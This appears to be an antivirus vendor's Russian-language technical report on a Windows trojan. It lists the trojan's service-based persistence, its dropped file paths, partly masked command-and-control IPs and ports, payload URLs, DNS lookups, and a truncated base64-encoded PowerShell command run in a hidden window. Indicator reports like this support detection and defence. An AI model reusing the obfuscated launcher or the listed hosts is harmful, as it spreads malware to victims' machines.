Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\wuapi] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wuapi] 'ImagePath' = '"%WINDIR%\SysWOW64\WinSync\wuapi.exe"'
- 'wuapi' "%WINDIR%\SysWOW64\WinSync\wuapi.exe"
- 'wuapi' %WINDIR%\SysWOW64\WinSync\wuapi.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABBAHEAMwBxAGkAOABqAD0AKAAnAE4AJwArACgAJwBlACcAKwAnAHgAaABoACcAKQArACcAbQA1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAUgBwAHIAbw...
- %HOMEPATH%\zqx41rp\onfoga8\e0jnwy3.exe
- %WINDIR%\syswow64\winsync\wuapi.exe
- %HOMEPATH%\zqx41rp\onfoga8\e0jnwy3.exe в %WINDIR%\syswow64\winsync\wuapi.exe
- '38.##.235.242':80
- '5.###.108.189':8080
- '12#.#24.124.40':7080
- '10#.#36.246.93':8080
- '11#.#1.66.94':80
- http://ha###motors.com/nbqso/8Tz/
- http://11#.#1.66.94/1kMu2Om/iNY9b/
- DNS ASK sh##.#tcss.co.uk
- DNS ASK ha###inger.com
- DNS ASK ha###motors.com
- '%HOMEPATH%\zqx41rp\onfoga8\e0jnwy3.exe'
- '%WINDIR%\syswow64\winsync\wuapi.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABBAHEAMwBxAGkAOABqAD0AKAAnAE4AJwArACgAJwBlACcAKwAnAHgAaABoACcAKQArACcAbQA1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAUgBwAHIAbw...' (со скрытым окном)